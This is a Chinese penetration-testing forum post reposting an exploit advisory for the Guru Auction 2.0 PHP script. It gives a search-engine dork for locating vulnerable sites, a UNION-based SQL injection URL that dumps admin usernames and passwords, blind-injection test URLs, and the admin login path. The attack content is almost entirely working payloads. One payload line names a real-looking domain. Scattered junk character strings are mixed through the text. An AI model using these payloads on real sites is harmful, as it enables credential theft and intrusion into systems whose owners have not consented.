中国网络渗透测试联盟

标题: Guru Auction 2.0多重sql注射 [打印本页]

---

作者: admin    时间: 2012-12-31 09:24
标题: Guru Auction 2.0多重sql注射
Guru Auction 2.0 Multiple SQL Injection Vulnerabilities

, N8 z8 e9 v" }% C$ P+ S作者     : v3n0m
应用 : Guru Auction 2.0
Price       : $49
+ N9 S$ K8 X3 G: Z( xVendor      : http://www.guruscript.com/
Google Dork : inurl:subcat.php?cate_id=
# C/ P+ m5 ^- ~0 a  W( l5 G1 y
SQLi p0c:
; X  |# R! H7 f& {6 J1 j# j~~~~~~~~~~
$ w4 n4 t8 n6 y' shttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
9 C& X2 b7 e3 J( X9 i1 H, e
' i- x% ^+ x' S0 P1 I2 `& l
, W' L8 Z; k4 [, ~. H盲注 p0c:
~~~~~~~~~~
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
) m- f% m, t+ Z5 ^5 b& I
/ }0 Q! x0 r$ f  e. t2 R! S3 A管理登录入口:
~~~~~~~~~~
http://domain.tld/[path]/admin/
' a, `  U& Q) S1 ?5 A

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2